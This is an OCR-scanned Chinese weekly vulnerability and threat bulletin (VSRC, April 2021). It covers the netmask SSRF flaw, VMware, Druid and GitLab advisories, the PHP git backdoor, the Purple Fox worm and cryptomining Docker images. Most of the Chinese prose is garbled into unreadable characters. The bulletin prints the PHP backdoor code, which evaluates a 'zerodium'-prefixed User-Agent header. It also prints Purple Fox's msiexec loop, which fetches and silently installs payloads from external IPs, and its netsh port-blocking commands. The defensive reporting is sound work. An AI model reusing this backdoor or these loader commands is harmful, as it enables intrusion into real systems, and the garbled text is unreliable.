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VSRC &£ (2021-04-06)

0x00 A JFIRIFLER

A FHEIEIRIFSL 5 4 Npm Netmask SSRF £eid i (CVE-2021-28918) ; Apache
Druid AR HATIRIN (CVE-2021-26919) ; VMware vRealize SSRF il (CVE-2021-
21975) ; GitLab 4 HAERCAHEEURIA; VMware Carbon Black Cloud Workload &3 3&1iE
2eidiA (CVE-2021-21982) .

A2 B 4 A PHP BT Git AR B, AR ELEL: Purple Fox iii&3)
5375 30 /> Docker BEARLE NN B HF i i Rk 1 2000 J3iR; & RHE: Conti #IZEMF
5T o

MR DL giik, A 2 A

0x01 EEZEJRFFIR
1. Npm Netmask SSRF ZeidigiH (CVE-2021-28918)

Netmask 5& npm [ 71 () — N, EMT B 7T R R ATRE i L RAEHT B EL R TPv4 3l
BEAD CIDR B ZE I P 300 /1K, #BZEHR, netmask O4 RitA L
2. 38 LM R, BhAh, KZH 278, 000 A Gi tHub 7% HHi netmask.

2021 £ 03 H 28 H, netmask Hdf A7 — ] 35 SSRF 8 RFT %4 (CVE-
2021-28918) . fEMEMT TP ML WA AT ML T, BT RIEMEITIRIE, AR
ST AN TP NIRRT BT I H %5 5 %23 SSRF Seid i) By, B AW
[ PoC EL7E GitHub EAJF.

IP bk AT DL 2 B SR, GG TS sEdl A A, (R R IR TPv4 Mk DL ik il 4%
AR, e, TPva Huhik DL-HaEa& R oR 8 104. 20, 59. 209, {H 2 )\ gt #% &R N
0150. 0024. 0073. 0321

{E Chrome 1 %7 48 AU HLEEAS Hhi N 0127. 0. 0. 1/, 35028 2K JLALA )\t il X frg TP
S2hr b, 4% F Entex B Return 85, TP 25U Tk S5 % 87. 0. 0. 1. IXZ2K AKZ
H 2 b gs (a1 Chrome) , 2 HENFMEIREHE AT 1P, X2 K 2 BN R 7 Ak 3 1k 26
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BEAE W TR TP btk (1 75 50

®0®® @ aboutblank

&« > C @ 07127.0.0.7
@ 87.0.0.1

Q  0127.0.0.1/ - Google Search

FEERME, 127.0.0. 1 FAEAIL 1P dhhk, W& —ANFFEHbE, (2, Eidssm
A R SR MO A S TP bk, AT S BUR TN A — & L

B, X T npm netmask, AT SFHASPF AIKIEAEF . I IETF (K546
i, IPv4 bk IR ATy 0, FTRARMNT )\ k. (HJE netmask 2% J1X— K4,
EIRLNS TP Wik, X KA E R SARIE 1P B T HAE RN, AT\
IPv4 HhEZRo R R R .

WSR3 R 52 SRR P AT I TP Hhhk, WU R A AT RE 2 SR AR, MRS
ik hiE (SSRF) Sl B/ (RFD .

W B AEABAT T AU S5 28RS BN S 1 SR sl AT 1) S 4L 1208 R sl W S 80T R Tk
BRI URT, BUAH AL 0 BT4E JavaScript FoniBat, DAIET )\ skl #5424 30
J\BLF 45 el TP X AT RE S EL SSRE, Biltn, J@IEAEHH 0177. 0. 0. 01 il IR 55 %1% e 5
127.0.0. 1 (177 2+t 127 () \GEHED o —MRIFIIFITHE, —A %5 webhooks Jfi#
i netmask KA IEF ' URL IR R 4% 5 %% 51 SSRF B .
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[user@hostname ~]$ ping 0127.0.0.1

7. O O 1) 56(84) bytes
icmp_seg=1 ttl=
icmp_seqg=2 ttl=
icmp_seqg=3 ttl=
icmp_seqg=4 ttl=

PING (NI (8

64 bytes from
64 bytes from
64 bytes from
64 bytes from

<

O O
oo -
B e

0O G0 0O O
~] ~J I
ol oo

o o

M IX A bug 7] AR F SR AT I B SO 8 (RFDD , A SR Bt & HIl/E— A4 netmask
KULE LK FAA (1 1P Hihk, R netmask K FTA 1PvA f5 O\AIE0D Fdd kil =X
M7, BB AT A S .

BTN 4 FERH AR R 22 47 i (Fltn Web 2B K88 #ARH T 90 2 s SR 3ot 31 i B
IEBIRAAVFFIR P TP XGRS, MR, AR SBULEE, S
™ H bug.

2018 4, WATHIRAFIE curl PRI AMHRRR IR, ekt 1Pv4 bl
fiEtr s, B, 384T ¢ curl -v 0177.0.0.17 curl 4% 177.0.0. 1, MAZIK[E
Hihk 127.0.0. 1. BEREG, Sick Codes. Jackson il Sahler ¥ 7E private—ip BRI T

—ANKUIRTR (CVSS $E43 9.8) , ZBM-HEEE 17.5 AEAI T HE.

Fmave

Netmask <= v1.1.0

ZEREW
HATHIRFACAMBE, BN B3 % netmask MUA 2:0. 0,
R

https://www. npmjs. com/package/netmask

SR

https://www. npmjs. com/package/netmask
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https://github. com/sickcodes/security/blob/master/advisories/SICK-2021~
011. md

https://www. bleepingcomputer. com/news/security/critical netmask-networking—
bug—impacts—thousands—of—-applications/

https://sick. codes/universal—-netmask—npm—package—used-by—-270000-projects—
vulnerable—to—octal—-input—data—server-side-request—forgery-remote—-file—

inclusion—local-file—-inclusion—and-more—-cve—2021-28918/

2. Apache Druid @EAREPITIRIE (CVE-2021-26919)

Apache Druid +2 L N KREFEE KPR Y] F 404 (OLAP B 13T A s P RE A Bcdha
P o

2021 4F 03 H 29 H, Apache BT RAT% A, AJFT Apache Druid H1 i —MZFEA
TP AT IR (CVE-2021-26919)

Druid A F JDBC & Hdf FE iU ,  SbIh e 20N T k2 AR A A P il 18 2 AL
BR Sk B AT 4R B SR BT S5 . 1T Apache Druid BRIAMESL FERZ IRBGAIE, Bkl i@
T R T T SR BT AR RARAD, AT i R 55 25

M ve

Druid <= 0. 20.1

ZERN
HAlTE B E TR, 2 %E T3] Druid 0. 20. 2.
TR

https://github. com/apache/druid/releases/tag/druid-0. 20. 2

SR
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http://mail-archives. apache. org/mod mbox/www—
announce/202103. mbox/%3CCACZTFK6Va—
CqhfDUPqPvgBCw8JsJwQ1xRe8JxeQbX5cRyi7qJg@mail. gmail. com%3E

https://github. com/apache/druid/releases/tag/druid-0. 20. 2

https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-26919

3. VMware vRealize SSRF J&iF (CVE-2021-21975)

Vmware vRealize Operations Manager 241X vmware LT & I—Bia 4E S FHAF ok
UE

2021 7F 03 A 31 H, VMware B KA &N E, ANJFT Wware vRealize Operations
HA)—A> SSRF Il Al — MERE S AR GRIFEER N CVE-2021-21975 F1 CVE-2021-
21983) .

vRealize Operations fRF#s¥iiERIhiE (CVE-2021-21975)

vRealize Operations Manager API HIRELE—/ MRS 25 R Ovi&EIRIA, L CVSS ¥4
N 8.6, HA vRealize Operations Manager API M %&jj [al A PR Brdy & v LLIE & 7 FH itk s v
PAT IS5 B E R OME By,  DLgs B 2 6 A4

Realize Operations fERIfF EA&¥EIFH (CVE-2021-21983)

vRealize Operations Manager APT HAFAE—ME R CAF AR, H CVSS PR A 7. 2.
HAM2%1jiH vRealize Operations Manager APT AXFRMZEIS 36 UE A i v] LRHAE RS
BRI RS L

ma e Bl
VMware vRealize operations manager: 8.3.018.2.0.8.1.1.8.1.0.8.0.1.8.0.0.
7.5.0

VMware cloud foundation (vROps) : 4.x. 3.x
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vRealize Suite Lifecycle Manager (vROps): 8.x

TN
H AT iZWIR PoC CATE, S HE T KN TH AN T
R

https://kb. vmware. com/s/article/83210

https://www. vmware. com/security/advisories/VMSA-2021-0004. html
https://cve.mitre. org/cgi—bin/cvename. cgi?name=CVE-2021-21975
https://www. bleepingcomputer. com/news/security/vmware—fixes—bug-allowing-

attackers—to-steal-admin—credentials/

4, GitLab 4 BfEE A BURTRH

GitLab ;2 MHTEEEHAGNITEIE, HAEM cit VUL ER TR, widd
Web Ftifi Vs ] 22 ¥ B8R AT H

2021 4F 03 H 31 H, Gitlab KAALEAT, AT T GitLab #:IX i (CE) Flfkhik (EE)
P ZA R . HP B E AR —MEE SRR, e CVSSv3 ¥R 9.6, I
i AT LB S AR SCH R BEIUIR 55 8% B RERCCAE ;. IR —A Kroki ARESCAF AR
T, 3 CVSSv3 Py 7.5, ZlidE ml LU REH # Wiki DUMIREEHUR 55 &5 B RE RS

53
Gitlab CE/EE < 13.8.7
Gitlab CE/EE < 13.9.5

Gitlab CE/EE < 13.10.1
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ZEREY
HETET CBRE 7R, BT RELIN A

Gitlab CE/EE 13.8.7

Gitlab CE/EE 13.9.5
Gitlab CE/EE 13.10.1
I %EET

https://about. gitlab. com/update/

https://about. gitlab. com/releases/2021/03/31/security-release—gitlab-13-10-

1-released/

5. VMware Carbon Black Cloud Workload Bt HiF&ed A (CVE-2021-21982)

VMware Carbon Black Cloud s&—>z i Az sl F1 LAE FEk (R Y7 & (EPP AT CWP)
A RPHAE T B . Carbon Black Cloud Workload i@id#4 59 SiibAh. TAEfEINE 5
FASERHT—ABIREE (NGAV) A GAT A i L R sty s RSl AR 52 CEDRD- L REAH 45
H, RIBATIE IR SRR b i AR R (R

2021 4 04 5 01 H, VMware B 75 kiAii %4 A%, AJF T WMware Carbon Black Cloud
Workload ) —AN B4 B £85I ¥R (CVE-2021-21982) , %3 () CVSSv3 FEAF /3 N 9. 1.

Wi B3 i R IR 3R B VWiware Carbon Black Cloud Workload ¥t I BE A
THIV7 AR CHL @ I S Ve BT URL) ,  DASKEUH 300 &t 30E A, TR} 4%
EELAPT 1T IRURR o Th A SRR ) Bt i T A B A O A B R, HZ
T JC 75 B AR B0 U A8 EL R AR

M

VMware Carbon Black-€loud Workload appliance <=. 1:/0.1
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AW

HEfziwsAo&B s, @I T2 E VWware Carbon Black Cloud Workload
appliance 1.0.2 A<,

AR

https://docs. vmware. com/en/VMware—-Carbon-Black-Cloud-Workload/1. 0/rn/cbc—

workload—102-release—notes. html

https://www. vmware. com/security/advisories/VMSA-2021-0005. html
https://www. bleepingcomputer. com/news/security/vmware—fixes—authentication-
bypass—in—-data—center—-security-software/

https://cve. mitre. org/cgi-bin/cvename. cgi?name=CVE-2021-21982

0x02 A JHZESH
1. PHP B Git TR, RIBEHER

HIRE
EH, PHP BT Git fA#FEZ BRI AN B . B E @I ARA SR A S T PHP
MEARES, 78 PHP ARADEE R AE NG T TR . PHP 4Ed038 Ol B 77 PHP WAL /76 i 1T

#| GitHub,

HIEF
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PHP 7 I AR 55 s g A2 =, IR AT I 79% ) Wt KH8: PHP, PHP BT Git f¥

B E AN, X N .
2021 4 03 A 28 H, MWASGRIEHHERLS] PHP FARNLEY () git. php. net IRESEH

NSNS

php-src Git G, FfHIHE IR EARATHAT T84, DA o CLA PHP 1 & # Flgk

$72& Rasmus Lerdorf Fl Nikita Popov 5.
Wi # Ll Rasmus Lerdorf ) BB KB EIRAL CIEE) MAZRACEHATET]:

 [skip-ci] Fix typo Browse files
Fixes minor typo.

Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.coms

 master
rlerdorf committed yesterday 1 parent 92aeda5  commit c7303a26b052829a49f2ad284b181b7e8268d7d
Unified Spiit

Showing 1 changed file with 11 additions and 0 deletions.

v & 11 mmmmm ext/zlib/z\ib.c [

@@ -360,6 +360,17 @@ static void php_z\ib_output_compression_start(v
{
zval zoh;
php_output_handler sh;
zval senc;

d_is_auto_global_str(ZEND_STRL("_SERVER"))) &

1f ((Z_TYPE(PG(http_globals) [TRACK_VARS_SERVER]) == IS_ARRAY || zen
ze0f (“HTTP_USER_AGENTT") - 1))) {

(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals) [TRACK_VARS_SERVER]), “HTTP_USER_AGENTT", si

§§ steabm23hoursago  Contributor
Intentionally AGENTT with 2x T at the end?

@ oo

convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), “zerodium")) {

zend_try {

zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017%);

RATERIFH I 370 478 zend eval string ERERIIHTT, XERACAESEFR b2 A
ATIXANWE SRR PHP A R3S T —ANE 1T, LT Em A2 HAT (RCE)
PHP Jf & # Jake Birchall [alfx5GfE HiiX — 5% ¥ Michael VoiiSek [FINRR, WIHF

FFE LU zerodium’ I3k i'zgﬁ,?)t%y\ useragent HTTP 3k 44T PHP AL .
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PHP 44/ Nikita Popov R, #—IIRIRAEJ LA EHOELN, AF A IIRAE
JRACHS B — &y REERRRREEN, HALHNPOLIR 7. hh, KT SRAE PHP

8. 1 IR 5 SE EREATIN, 200 ST 5 AR KA -

BIRS F AR IR AEHEAT R, (HAE PHP 4B EFR, X UGB REIE SR TR [
git. php. net R554%, MARMNAK Git K/ B I5 A R BRI AFR [ R 55 2 B -

lists Downloads Documentation Getinvolved Help

PHP Mailing Lists php.internals Changes to Git commit workflow

Changes to Git commit workflow
From: Nikita Popov Date: Sun, 28 Mar 2021 22:52:24

Subject: Changes to Git commit workflow
Groups: php.doc php.internals

Hi everyone,

Yesterday (2021-03-28) two malicious commits were pushed to the php-src
repo [1] from the names of Rasmus Lerdorf and myself. We don't yet know how
exactly this happened, but everything points towards a compromise of the
git.php.net server (rather than a compromise of an individual git account).

While investigation is still underway, we have decided that maintaining our

YERTART, PHP 4E43 C ik F & 77 PHP YRS A2 FEIT R B Github, JFHKHE LR A
{5 git. php. net AR5 28, FEKAREFE ] GitHub. GitHub b LLRT RS ITE6k DL
FR YA (A7 o

B X — SR AT, PHP 4B A 53 R REMILTETFAR, AT TR 15 S5 H1 T L e i 3
GitHub L, WMiA/2 git. php. net RS54 b 1M 24 PHP T H M TTER 9N 52K 75 E A
GitHub I PHP HZRf—HR 5y, W TAHLP IR A S, 752 GitHub 1K™ EJR XU R &
WIRIE (2F0) .

M SolarWinds Orion #N BT E] PHP BT Git fA#PEME S, 2Tkt BEREEI
& DA AL N ZIH S .

A B
HAR PHP 1 Git HRSSAHNRMTHA VI E R AR E , (B IZ KA aT BLE e — A
O, BITEETEE RS & LR CI/CD TRARE Zid iy, S K i 2 FH S5 ) 22 4 BT
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SHER

[ Y &0 SolarWinds it R4 AT o S 42 4

[ fFi@ ] FireBye S H APT Xriy, £0BA T H 455 F1F

VMware OpenSLP il 5| & #1485

https://news—web. php. net/php. internals/113838

https://www. bleepingcomputer. com/news/security/phps—git—-server—hacked-to-
add-backdoors—to—php—source—code/

https://blog. sonatype. com/netmask—flaw-leaves—millions—vulnerable-while—a-
php—git—server—is—hacked-in—software—supply—chain—attack

https://github. com/php/php—

src/commit/2b0f239b211c7544ebc7adcd2c977abb7alled8a?

2. Purple Fox BtdHi&sha#T

e

Purple Fox & —AMEERMIMGE A BEtE 3, &% Windows RS,

H AT, Purple Fox 15 1) B4 48 i {8 FH Mo L B ANEY fa R R e H Ax

Guardicore Labs I T H BB YA, 8 I SMB 2565 5 ) BH A THT 17 X 45 1] Windows %
4.

Guardicore Labs &I T Purple Fox HIR#E% dropper-# payloads HJJEKRST#% M
%, WP Microsoft 1IS 7.5 RS 2 4H %

Purple Fox TR BCH I —A Rootkit F0VFHE BEBCPERGHEAE THSLNL |, MATO {5 o
LUK TR

By


https://mp.weixin.qq.com/s/UwVjusJ72qWSWCV8HJzV5w
https://mp.weixin.qq.com/s/saJWP-1D0nVPOp5k3baW8w
https://mp.weixin.qq.com/s/W30CRrK0rikW2U-EyDkaLg
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v Venustech Security Response Center

MR

fEit 2 JUA . Guardicore Labs HIBN—HE{EIBER S K Purple Fox MMM Bt
53, Purple Fox - 2018 4 3 FJ B XM A, /E4HR Internet Explorer M Windows 4t
{1 AR RO G 1 ik A

B, FEBEA 2020 4FJEEAN 2021 4E4), Guardi core 2ERAEBAE R4 (GGSNOAIE] Purple
Fox 7 FH 3 I S AIASE P T 55 %5 R A0S 45 (19 SMB Ji 255K 43 K (K18 T e o

# of Purple Fox Incidents
Seen in GGSN Over Time

&

1000

# Incidents in GSSN

Month

ﬂ Guardicore

M EEFRILIEH, 2020 4 5 AHIL T KREFREREIGS), 2RSSR, B ER
K T4 600%, it 9 FikBd.
RELEIRIAFI AT, Purple Fox ITHREMIT-FHBA RS, (HE BB 5K IT
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%, PAR SN R A HIAT 95 LR SCE A Friiid KA AR AR R A B, HE
Pt BT/ Hh— 4 5 S Bk RO A 55 A AR ) IR AR S8 EN 1 B 046 payload.
SEREGLITHENL CH A IR SUS BRI 50D AR5 HAd % R A5 3 A R 55 4 LA
2.
Ja SCHS VRIS 41 5% T8 i ER G Sh (1 R B R T0C.

Wit o

Wik HAERIE 2, 000 GRS EAGHE T &80 MST FEF 6L (25 10C #650) , #Hflith,
XA B THEE SR payload MBI . IXMRERE T T 2 6 RS, N
FEAE RGRAS A RST ZRAS (K R T BRI LE IR 55 4% B IR SS

WOLHE, L8 THIM payload MY K ZHURS WHIELZT T 1IS ik 7.5 Al
Microsoft FTP FIAHXTELIHARA] Windows Server b, IXEERRABA £ AN ™ E LA A
b/

Service Distribution on Payload-Hosting Servers

Microsoft SQL Server 2008 R2

Microsoft HTTPAPI httpd 2.0

Microsoft Windows RPC Microsoft IS httpd 7.5

Microsoft Terminal Service

ﬂ Guardicore

MRAE X LRI, i%iEsha] LUE ) LR 5 ST %3
1. 78 A AR it HALEE 5 Z I AR (1 SMB) A1RJ5, AT R payloads
G T 0 2 U PR P 48 4 42355 3 (5 98/ AR 946 5% Purple Fox IIRELE SR,
A 7 B A IR AR R payload. BLOLHAE 1l BT HRPHA AR $E 524y VirusTotal f
IR
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msi  direct-cpu-clock-access runtime-modules

CCONFACIRARARFATRRA4RIFASICRCRRIRNIRSIGRARRFRA

0O [var [www/clean-mx/virusesevidence/output. 167847168, txt

msi runtime-modules  direct-cpu-clock-access

EFADAASSBAEBGS16D6F 38C2C5AAE3813E81E28B3ABED18F91DABTCB328221348

msi  direct-cpu-clock-access runtime-modules

3CA3C1BIEBDA6398411889E64FFAFBBCBBAZ4662A2E3DCBEBS827A197428461D
O [var [www/clean-mx/virusesevidence/output.168874457. txt

msi  runtime-modules  direct-cpu-clock-access

Port Scan « ~N

l

SMB Probe

-+ New Service (ACO[0-9]) —.

L :@ msiexec /i http://<ip>/<payload_name>.MOE .

(
~» Rootkit installed —» Reboot —

Port Scan J

c Guardicore

— BAE BAn i & L se RIS HAT, St — AN 2R ENRIE ACO [0-9] {1} AHIL
FEIH RS, l4n ACO1. ACO2. ACO5 4§, ZRSS 1M H KB LR A IFHATH A “for 1
7 BIfe a4, a2 B RS 7R B AR %% L %% Purple Fox [ MST ff) url,

~ | process creation (nd /c for /d %i in (58.221.60.73:17038 116.211.98.69:19717 218.92.11.13:11128 58.232.55.8:17116 45.124.66.104:19976) do Msi
xec /i http://%i/E@SFOCOC.moe /Q

Application name

M Guardicore Centra “F& BT IR, msiexec #EH 7/1 flag K#dT, LA
(B EAR LRI 2B uST R, SEM/Q flag, WSHUR T R mA
BRI

KT AT, DEIEUT FHLA /Q Flag 10 VST Z0RF CRURELBAL i T00 My

/
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HPATHD R R DL R

AVKYBZWVUC EWXPTGJROMEOMIGWHUSLDEXBNI

/
\I

g G

0T B )]

G HFRE P2 Windows Update B LA SO, i 3CA KRR 1 “Windows
Update” FIBEHLT BF. X887 RERIERGANA M MST B0 5 2 A BEALAE R, AR EEAS [F]
(RO, JXAEAR X [l — MST (R A R AR 8 STk SR AR 45 S PR i o 302 A/ L 67 B 1) P R

BRI CANFRASEE4) WJE. Ak, CaiE 1AM E TR B R0 A NS 7
T MST B, DA A [A) — SCA B A AN ] e A £

Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

0025E240 DO 81 00 00 00 00 80 AOC FD A9 17 29 84 14 S > PPN € v@.)
0025E250 00 00 00 00 00 00 00 00 00 OO 00 00 00 00 00 00 ..ccvecacacancnse
0025E260 00 00 00 00 00 00 00 OO0 00 00 00 00 OO0 40 OD 24 ..ccevvcnsnsen e.s
0025E270 D9 DF 5C 24 01 38 31 43 4B ED 92 C1 Bl 18 UB\$.81CKi’A+.1.
0025E280 43 EF 99 F9 3D A4 04 CO 60 AO FF Cé BE 11 Ci™y=n. A" ¥E%.>.
0025E290 72 DO BB 30 36 C2 08 76 B9 02 42 08 21 84 rD»06A.v*.B.!,.B
0025E2A0 08 21 84 10 42 08 21 84 10 42 08 21 84 10 !'..B.!,.B.!,.B.

0025E2BO 21 84 10 42 08 21 FF 01 96 E9 FD F7 E7 8F 65 C ‘".B.!y.—é9+g.ei

(
g @

0025E2C0O 79 31 0D 47 ED 8E 7C 31 B4 36 7B 90 B5 AA F6 17 yl.GiZ|l°6{.n%*5.
0025E2D0 SF D2 BD A3 6E 49 A8 DD 75 D2 11 36 67 EB CC 98 .@<EnI YuO.é6gei~
0025E2E0 7B F1 C4 FD 51 Bl 39 DF 90 09 C7 3A F6 71 SF F5 {fiAyQ+98..G:8q 3
0025E2F0 29 3C EA SE D7 B2 1B 6A 8F 9E 26 47 13 CD CC 4C )<&Zx*.j.2&G.IIL
0025E300 E6 BS5 9B 2A 70 1A B8 F5 CE AD CE 82 5A 3A OC 55 &p>*p.,81.1,z:.U0
0025E310 5F CF 3E 36 5D 34 CC 11 AB &5 27 AC 83 6E B2 SE _1>6)4I.«e'-fn="
0025E320 2D 72 4D SD 8C 14 29 05 OF AD 98 C2 FD FC EB 06 -rM]E.)..."Eyué.
0025E330 75 CE€ C6 7E 9B 18 9D 56 22 AF F7 F3 AR BB D6 D7 uEE~>..V"™ =063»0x
0025E340 04 EF DC SD 48 43 1D 3A EO 95 E3 FO Fé 41 EE F9 .i0)HC.S5a-3s6ain
0025E350 40 54 B9 28 75 51 85 €1 C5 40 AF 71 6E €7 1D 99 @T? (uQ.ah€ qgng.™
0025E360 63 OA B3 EB 98 56 4E 41 2C 96 82 8D 87 EE 87 8B cC.%&"VNA,—,.%i%
0025E370 CF C7 F7 21 5B 31 C7 41 E3 FC 36 D3 3D 3% 37 A4 I¢=![1CAZu66=97n
0025E380 B4 65 4B S5F 25 46 74 35 A8 CB 65 6D 6A 6D 3A CF “eK $Ft5 Eemjm:i
0025E390 FE OA D8 B3 €5 AF 83 70 9B F2 SF [p0 00 00 00 09 b.g’e fpro [AER
0025E3A0 [0 00 00 00 0o 00 00 0o oo 0o oo oo 00 oo oo od [T
0025E3B0 [J0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oc [P
002SE3CO [00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oc |
0025E3D0O [00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OC [N
0025E3E0 [0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Oc [N
002SE3F0 [P0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [N
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*Root node

c Guardicore

B 2B HET, R RN pay load F M MST A0 5t HBbAT iR 35« MST FEFF
LB =AU
1. 64 fi7 DLL payload (winupdate64) .
2. 32 Az DLL payload (winupdate32) .
3. A8 rootkit HINNZESCAES
TERN 2R — 87, ZRRTAHEE AT 2 netsh 7 RIZH Windows By K Hi
B EAE Windows B KBEHAIN T —/ 4404 Qianye FRBTSRES . TERLHENE T, B0l T
—AN4ON Filterl RHTEuEss, HARIERE Internet (0.0.0.0) AR TP #uhbf TCP A
UDP F1f) 445, 139 F1 135 jij H RSS2 G T ML B8 IR R 9 1 B 132 J%
Qe Tt SNV Ol B G,  BUAEHAh B  R o L
RS — EARIREL, A REIAT
A DLR AL A8 S A IEAE AT DL T 4
netsh. exe ipsec static add policy name=gianye
netsh. exe ipsec static add filterlist name=Filterl
netsh. exe ipsec static add filter filterlist=Filterl srcaddr=any dstaddr=Me

dstport=135 protocol=TCP

netsh. exe ipsec static add filter filterlist=Filterl srcaddr=any dstaddr=Me

dstport=139 protocol=TCP
netsh. exe ipsec static add filter filterlist=Filterl srcaddr=any dstaddr=Me

dstport=445 protocol=UDP
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netsh. exe ipsec static add filter filterlist=Filterl srcaddr=any dstaddr=Me
dstport=135 protocol=UDP

netsh. exe ipsec static add filter filterlist=Filterl srcaddr=any dstaddr=Me

dstport=139 protocol=UDP

netsh. exe ipsec static set policy name=qianye assign=y|
netsh. exe ipsec static add rule name=Rulel policy=qianye filterlist=Filterl
filteraction=FilteraAtionl

netsh. exe ipsec static add rule name=Rulel policy=qianye filterlist=Filterl

netsh. exe ipsec static add filteraction name=FilteraAtionl action=block

BEAh, 2l R AR A HAT LT A TR 20 TPv6 4521 -

netsh. exe interface ipv6 install
KHAE A2 N T Fe VS i D4 ipve Huik DL R S ok PR FE 8 0 B AN 52 i
1)) ipv6 TP R

HEYH:
XL r 4] HAEAT A4RRTE (ToB) , DAk BRI IR 72 15 52 B B o
et netsh Ay I UL LLAT O Bdr& 3, A RIRT Purple Foxo 1X#Ey
2, R H A Qianye IR A FRAIAT 4, CAfFN Rig EK M NuggetPhantom F)—#B 70 4ic

xo
TEEH A HENLZ AT, Purple Fox MG — P & INEEAE MST B4 I payload
W rootkit,

I, XA rootkit ZFET R AT YR rootkit TLH

00409a9¢c Hid_State u™Hid_State™ unicode
00409ab0 Hid_StealthMode u'Hid_StealthMode” unicode
00409ad0 Hid_HideFsDirs u"Hid_HideFsDirs” unicode
00409%ee Hid_HideFsFiles u™Hid_HideFsFiles” unicode
0040%0e Hid_HideRegKeys u"Hid_HideRegKeys" unicode
00409b2e Hid_HideRegValues uHid_HideRegValues™ unicode
00409b52 Hid_Ignoredimages u"Hid_Ignoredimages” unicode

0040976 Hid_ProtectedImages uHid_Protectedimages” unicode
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#define CONFIG ALLOC TAG 'gfnC’

F struct HidConfigContext {
BOOLEAN state;
BOOLEAN stealth;
UNICODE_STRING hideFSDirs;

UNICODE_STRING hideFSFiles;
UNICODE_STRING hideRegKeys;
UNICODE_STRING hideRegValues;
UNICODE_STRING ignorelmages;
UNICODE_STRING protectImages;

} HidConfigContext, *PHidConfigContext;

XA rootkit RS AFEM R IUNME . SO, IEMHAEFAE git fR6E P itk
IARRE . BAT PRI R IR 2, B8 rootkit /& AN IR, B R HAT & Fhilk
BRAEDHAES, HFB AT BRI LA 55

7|

Hidden

This toolset is developed like a solution for my reverse engineering and researching tasks. This is a windows driver with
a usermode interface which is used for hidding specific environment on VMs, like installed rce programs (ex. procmon,

wireshark), vm infrastracture (ex. vmware tools) and etc.
Features

¢ hide registry keys and values
hide files and directories

protect specific processes using ObRegisterCallbacks

exclude specific processes from hidding and protection features

usermode interface (lib and cli) for working with driver

N rootkit Ja, AR B RBITHENL, DRI DLL Bz 44 WA 4 DLL X
. JFFE boot AT, TSR =ETEA/Q flag BB NPT TBERA:, PtHI
TUTEN, ZREHEITHE:
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AVKYBZWVUCEWXPTGIROMEOMIGWHUSLDEXBNI

1 v : mmmmn
g G e

0 |

—HEFEIENE, SEEAMERRAT . PUTE, BRI TR HAL T AR
CKE AR TP VB R ARTE S, O 445 _EREATHS.

AN RS 445 EIRIEM SMB BREFET, BB SR A A P 44 AN A B
SEESSAE R 1A SMB HEAT BB IR .

WHIR G IR, MEEE SRR A — AR5 IEN KA ACO [0-9] {1} AHUTECHY
BR45, Bl ACO1. ACO2 Al ACO5 C(UHATSCHTIR) , ZHRE I MAZ HITP fR45 2 i— /N R
FMST R4, MM 5E BB GG IR o

7 N\
10Cs [ \
https://github. com/guardicore/labscampaigns/trw/ﬁylel:ox
B s
-
RS =
ps uardicore. com/labs/purple—fox— otkit—now—prggagat—es—as—a—worm/

= \\
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3. 30 > Docker GLRAENNE SHFFHT AL T T 2000 IR

PATHE

TENMEILART T AARZ IR LR IURA . i) B iR — R Sy, ARikAE
Rt BT SR BRI Z N & B T o AT, BB 80 — Ml SR Bt 407 5K, AR
AR BRF A BEAR 2 Bk 2 3 RO B T K — A g 07 5

HIEIRATIL Docker Hub, SRJERILT 30 MEEEAR, SILIRIT 2000 J5iER
(XEWEBRBHTE T 2000 J30, X2 — IR HHE 200, 000 SETCHIINE HH51T3).
FEATCH, FoR VRN BRI AL 277 BLE PR ¢ Docker Hub AIH e 24 3634
R EBH L2 RPRIIEE SR -

docker

BERERHINFE SRR

e LR LS, Unit 42 BFFEN ORI T 5T = I S Bk, | oA Bt & s A
Docker Hub FHIELEME T H L.

ZRME SRR, EEFERAPA

L ZHEA BRI 2 2B S (KR CPUL KRR KEEUNLD , X7 4L
VISP A TG

2. ZARMENE I e A HLAT AAE A PO ILEI RO IS AT AR 18], U R BeA AR s I AL A1,
VLA RE s —HIEAT, BRI RIERS = RADFEREI 1,
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WAREHARFER TR, £—IFEH, Docker Hub ZERIAMIAMEMER. ki
FUMAEAEBANRN = LEET T, & TX®eHEss, RAEEFE RS A LE Docker Hub i
FEER AN BRI, FA 10 DAER] Docker  Hub K HH4RE] T 30
MR, XEEBA 2000 277 RELHL

ANNRT DA I A5 PR R 3R R R, e th g it

A A, A AT 2 NI B 2 BRI . BRI BT
AL B AS S, MO HERTAS Y, At vH R B Bk s 38R T E 200, 000 ST
L m .

-

\

30 Images

Estimated Mining Worth - US$200,000

IR S

®

BRI, IS 2 Bl 2 B A2 1IN %5 % i /2 Monero (1% M), BARIRAT
& #f Pro-Ocean. Cetus FI¥FZHE T M—#.

Kt # F Bk Monero A =AM A :

1. Monero 424t T I KIMIEZ M. EM—MER, SHEMMAR, Monero Mty
BB o IXFREEFANS T 2% LSRR A2 58 R 1, BRI R A AT B3 3 2 R T
I, AAIASHEE Z AR AL, T HARATTEE 2 5y kR BT S AT

2. Monero ¥28 Sk w F T CPUIZH", AMEVF 2 H e % 7% ASIC B GPU HEATH2H ™. X
IRTTAE, BISPTA RITHENLEE CPU. BItt, Hlw] IEAEfMTALES: EAR0slT. IEEHE
HaG, HPhERSHERNIBIT AT E GPU.

3. Monero & —FMAT INE BT, ERRSERRLN 1106t KEQBLERE
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o,
FERERT Docker Hub & BN s B Hr4 45 1 6 b 49 A -

Arionum
3.2%
Grin
6.5%

Monero
90.3%

B 2. hnss B o A

IR Lo

FERZHEZHE Monero WX, Bdr &AM 1 XMRig, MUEIATE N Hildegard
M Graboid —#f. XMRig f&—#Kift4T [ Monero H#L, Bih#EEike, WHNESTMHEH, &
Mo EERE, ERIFIER. Ei, B e DB AR

B, KZE Monero INEH” THE & SRATHH I — € LLGI 420 RIS TR A% . B
o 5 I ME SCR IR E o 0.

I\

s J\ y F~C

F— \ /
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Xmr-stack
10.0%
XMRig
90.0%
Kl 3. I T A
